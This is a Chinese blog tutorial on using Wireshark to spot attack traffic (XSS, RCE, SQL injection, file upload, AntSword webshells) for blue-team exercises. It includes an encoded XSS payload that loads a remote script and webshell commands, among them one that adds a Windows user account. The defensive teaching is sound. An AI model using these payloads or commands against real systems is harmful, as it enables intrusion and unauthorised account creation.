2024HW-->Wireshark攻击流量分析

在HW中,最离不开的,肯定是看监控了,那么就要去了解一些wireshark的基础用法以及攻击的流量!!!!

1.Wireshark的基本用法

比如人家面试官给你一段流量包,你要会用

1.分组详情

对于我们这里看见的东西,就是分组详情

其中,它把osi分成了五层

  • 网络接口层
  • 数据链路层
  • 网络层
  • 传输层
  • 应用层

2.过滤详情

总的来说,其实过滤规则就是这样的

1.ip的过滤

那么下面,我们来实操一下,比如我想追踪一个为192.168.246.1的ip

ip.addr == 192.168.246.1

但是这样的话,是不是就无法直观的判断它是源还是地址,所以我们就要增加过滤规则

ip.src == 192.168.246.1   //源ip是192.168.246.1
ip.dst == 192.168.246.1   //目的ip是192.168.246.1

2.过滤特定内容

比如如果在打CTF的时候,我们想要去获得包中含有flag的包,那么我们就可以这样做!!!

http contains "flag"

然后我们点击追踪流(这个经常用)

这样的话就能看见一个完整的包了,想招什么自行过滤

如果我们像要对某一个页面的流量进行检测,那么就要这么写

http.request.uri  contains "/pikachu"   //模糊匹配
http.request.uri == "/pikachu"   //精准匹配
 3.过滤对应的端口

端口信息存在于传输层,所以我们直接对其过滤就好

tcp.srcport == 80
tpc.dstport == 80

4.过滤请求方式

有的时候,有的是POST有的是GET,还有可能是PUT,所以我们就要去过滤

http.request.method == "POST"
http.request.method == "GET"
http.request.method == "PUT"

3.攻击流量的分析

1.XSS的攻击流量

为了产生XSS的攻击流量,我直接FUZZ了!!!

那就随便逮住一个包来分析一下流量把!!!!

像XSS的流量,一般都是包含什么script alert ,JavaScript这些的

那么怎么判断呢,最简单的,看返回包有咩有对script这样的东西html实体编码

如果是这样的话,大部分就是成功了

再不行的话,还有一种最简单的方法,直接把整个流复制到一个htm的文件里面

并且打开,看一下有没有弹窗,有的话,就是直接弹窗的!!!!!

但是,如果遇到一些逆天的payload呢

<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

也不用慌,notepad++走一手,发现是html实体编码,那么我们就要把&#替换为空

然后上python,只用拿前面几个就好,就能大概判断是在XSS

2.RCE流量

对于RCE,其实很好识别,因为基本上都是一些特征的流量

如果能看见这样的话,就基本上是稳了(穿了)

3.SQL注入流量

噢,sql注入,可怕的攻击(hhhhh我没有抄袭)

这个就直接用sqlmap去跑一下就好了

然后我们去看他的流量

看以看见有两个包,直接复制去URL解码,可以看见他是在联合注入

于是再去wireshark里面看内容,可以看见它就是直接被脱了数据库

那如果是别人 --dump呢直接    也来看看

看见到了脱库的流量

4.文件上传流量

这个其实很好判断,要么别人就是在FUZZ上传格式,要么就是在尝试解析漏洞,或者最简单,我们直接看他的上传文件的内容

像这种又是php|| jsp ||asp,又是GIF89A,eval,assert还有一些特殊的函数的,稳稳的文件上传

5.Webshell流量

这个就重要了!!!!这个基本上面试必问

像我们常见的蚁剑,c🔪,冰蝎,哥斯拉等等.....我们来看看它的流量

先准备一个木马

然后我们先去试试水,这时候很多小白就会想了???不是,是不是我木马没有被解析,怎么没有反应!!!!!

如果你也用这样的疑问,我只能说你对RCE理解的不对!!!

eval是什么函数???? 是代码执行的函数,ipconfig是代码嘛?????

所以正确的做法应该是这样

cmd=system("whoami /groups");  //这个结尾的分号不要忘了啊

可以看见直接是high,就是说这个最起码是administrator的权限了,直接无视UAC的

不信的话我们可以试一试 

cmd=system("net user test hongrisec@2024 /add ");

okay!差不多,扯远了,我们还是来说回蚁剑吧!!!先来测试一下连接的流量

直接看他的包(我这里没有选择编码,于是所有流量都是明文传输)

不要慌,我们用notepad操作一下(URL decode)

好的看不懂,问gpt   

所以大概就是干了这么几件事情

  1. 先关闭了php的错误显示,并且设置脚本执行时间不限制
  2. 然后创建一个隐藏目录
  3. 然后写两个函数,其中的一个函数获取缓冲区内容并且输出

然后我们再去看一下它的执行命令时候的流量(有点逆天)

还是来总结一下

  1. 通过调用了php的system,passthru,shell_exec这些命令执行函数来构造runcmd这个函数
  2. fe函数用来检验禁用的函数
  3. runshellshock函数检查有没有shellshock这个漏洞(这个Linux漏洞当时真的是非常出名)
  4. 然后用回一开始连接的asoutput函数将输出结果返回给用户

但是如果人家蚁剑用的是base64编码呢???

我们先去对结果解码一下

md不知道啥玩意,我们'逆向一波"

看见是其中一段是能对上的,我们单独解码那一段,好的,果然是

其实我们看请求包也能看出来,有一个base64的字样

对于蚁剑的流量特征,一般是这样的

  1. @ini_set("display_errors","0"); 如果不经过编码的话,这个就是直接的明文,能看到这个,基本上可以判断是webshell
  2. 蚁剑可能使用特定的用户代理字符串,例如“AntSword”或“Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko”等。
  3. 混淆加密之后的流量的参数一般是以 0x的形式出现

相关推荐

  1. Wireshark流量分析

    2024-04-06 18:26:02       33 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-06 18:26:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-06 18:26:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-06 18:26:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-06 18:26:02       18 阅读

热门阅读

  1. 【Datax分库分表导数解决方法】MySQL_to_Hive

    2024-04-06 18:26:02       48 阅读
  2. 蓝桥杯嵌入式总结

    2024-04-06 18:26:02       13 阅读
  3. JVM基础

    JVM基础

    2024-04-06 18:26:02      13 阅读
  4. Node.js命令介绍

    2024-04-06 18:26:02       17 阅读